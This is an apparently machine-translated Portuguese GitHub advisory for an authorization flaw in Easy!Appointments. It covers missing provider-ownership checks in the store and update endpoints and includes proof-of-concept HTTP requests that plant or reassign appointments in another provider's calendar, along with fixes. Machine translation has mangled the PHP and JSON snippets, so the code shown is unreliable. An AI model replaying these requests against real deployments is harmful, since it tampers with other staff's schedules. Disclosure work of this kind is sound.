Fácil!Apontamentos filtra corretamente as consultas com o fornecedor na resposta "notificações/ busca", provando que o isolamento do fornecedor é um limite de segurança pretendido. No entanto, os endpoints de mutação direta `notificações/store` e `notificações/actualização' só verificam privilégios genéricos de nomeação e nunca verificam que o `id_user_ provider` enviado pertence à sessão atual. Um provedor autêntico normal pode injetar novas consultas no horário de outro provedor via ‘store', ou reasignar as consultas existentes no calendário de um provedor estrangeiro via ‘actualizar'. O caminho `store` contém um erro adicional de gravação antes do choque: a linha não autorizada é comprometida com o banco de dados antes do controlador falhar em um erro de tipo, de modo que o atacante recebe uma resposta de erro enquanto a consulta no exterior já está persistida. ## Causa raíz — fluxo de código passo a passo. Passo 1 — Pesquisa executa corretamente o isolamento do fornecedor O endpoint `search` filtra as consultas pertencentes a outros fornecedores — provando que o isolamento do fornecedor é um limite pretendido: ```php // Nombramentos.php if ($role_slug === DB_SLUG_PROVIDER) { foreach ($nominações como $index => $nominações) { if ((int) $nominações['id_users_provider']]! == (int) $user_id) { unset($nominações[$index]); } } } `````.
Passo 2 — store() verifica somente a permissão genérica de adicionar A finalidade da loja verifica apenas se o chamador pode adicionar consultas em geral — nenhuma verificação de propriedade do provedor: linha ```php // Notificações.php 74 - 152 if (não pode( 'add', PRIV_APOINTMENTS)) { abort( 403, 'Proibido'); } $nominação = json_decode(request('nominação'), true); ```. Passo 3 — Provider id_user_controlado pelo atacante salvo diretamente A lista branca do controlador e persiste na consulta, incluindo o ID do fornecedor controlado pelo atacante: ```php $this->appointments_model->somente($apppointment, $this->permitido_appointment_fields); $appointment_id = $this->appointments_model->save($apppointment); ```. Nenhuma verificação é realizada para verificar que `id_users_provider` corresponde à sessão atual.
Passo 4 — Write- before-crash on store() Após a linha não autorizada ser cometida, o controlador bloqueia um erro de tipo: ``` php $nombramento = $this->nombramentos_model->find($nombramento); // array passou em vez de $nombramento_id ``` O atacante recebe um 500 resposta de erro, mas a linha de nomeação no estrangeiro já está no banco de dados. Passo 5 — update() tem a mesma verificação de propriedade faltante O endpoint de atualização também aceita o 'id_users_provider' controlado pelo atacante com apenas uma verificação de permissão de edição genérica:.
linha ```php // Notificações.php 178 - 196 if (não pode( 'edit', PRIV_APPOINTMENTS)) { abort( 403, 'Proibido'); } $appointment = json_decode(request('appointment'), true); $appointment_id = $this->appointments_model->save($appointment); ``. Um provedor pode reasignar qualquer consulta que possa editar no calendário de um provedor estrangeiro. **Attacker:** Provedor com ID de sessão ` 4 ` **Ataque:** Provedor estrangeiro com ID ` 2 ` **Passo 1 — Injetar a nomeação no horário do provedor estrangeiro:**. ```http POST /index.php/ nomes/ loja HTTP/ 1.1 Host: 127.0.0.1: 18094 Cookie: Tipo de conteúdo: aplicativo/x- www- form-urlencoded.
csrf_token= &appointment={"start_datetime":" 2026 - 05 - 29 15: 00: 00 ",," hora de fim de data:" 2026 - 05 - 29 15: 30: 00 ",, nota":"foreign provider create by alicer","id_users_ provider": 2,,id_users_client: 3,,id_services: 1 } ``` Resposta: ` 500 Erro interno do servidor` — digite erro no find(). **Mas a linha é comprometida:** ``` id start_datetime id_users_provider notes 6 2026 - 05 - 29 15: 00: 00 2 provedor estrangeiro criar por aliciador ``` Provedor 4 criou uma linha que pertence ao provedor 2.
**Passo 2 — Reassena o nomeação existente para provedor estrangeiro:**. ```http POST /index.php/appointments/ update HTTP/ 1.1 Host: 127.0.0.1: 18094 Cookie: Tipo de conteúdo: aplicativo/x- www- form-urlencoded csrf_token= &appointment={"id": 7,"start_date time":" 2026 - 05 - 30 09: 00: 00 ",," hora de fim de data:" 2026 - 05 - 30 09: 30: 00 ","notas":"atribuição ao provedor 2 por alicer","id_users_provider": 2,,id_users_client: 3,,id_services: 1 } ``` ** Resultado:** Nomeação 7 agora pertence ao fornecedor 2 em vez de provedor 4.
** Resultado da verificação do tempo de execução:** ``` id do fornecedor do atacante: 4 id do provedor de consulta criado no estrangeiro: 2 id do provedor de consulta reatribuído: 2 nomeações visíveis pelo provedor: 0 PASS ``` A busca de nomeações do atacante retorna 0 resultados porque ambas as consultas de prova pertencem agora ao provedor estrangeiro. ## Impacto Mundial Real. Em um multi-provider Fácil! Implementação de nomes — uma clínica, salão ou negócio de serviços com vários membros da equipe — qualquer provedor autenticado pode:.
- Injete falsas consultas no horário de um colega causando confusão e duplas reservas - Mova suas próprias consultas no calendário de outro provedor para escondê- las ou descarregá- las - Interrompe a integridade da agenda para funcionários e clientes - Crie consultas não autorizadas que os clientes e administradores atribuim ao provedor errado O erro de gravação antes do choque no `store()` torna a detecção mais difícil — o atacante recebe uma resposta de erro que pode parecer inofensiva enquanto o registro não autorizado é silenciosamente cometido. **Em `store()` e `update()`:** Exerça que `id_users_provider` corresponde ao ID do provedor de sessão atual para papéis não- administradores: ```php if ($role_slug=== DB_SLUG_PROVIDER) { $notificação['id_users_provider'] = $user_id; // forçar o próprio ID do provedor } ```.
**Conserta o erro de gravar-antes-quebrar em `store()`:**. ```php $appointment_id = $this->appointments_model->save($appointment); $appointment = $this->appointments_model->find($appointment_id); // use ID não array ``` ## Reporter **Yash Shendge (ashrexon)** 2026 - 05 - 25. Registro de aconselhamento: GHSA-w 8 xc- 8 g 92 - v 77 h. Identificadores relacionados: CVE- 2026 - 52839. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 29 T 16: 26: 25.000 Z e lista a sua última modificação como 2026 - 07 - 29 T 16: 26: 25.000 Z.
Severidade: LOW. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N. Informações sobre software e versão afetadas: pacote Packagist alextselegidis/easypointments — ECOSYSTEM: introduzido 0, corrigido 1.6.0. Classificação e evidência: identificadores de fraqueza CWE- 639, CWE- 862. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.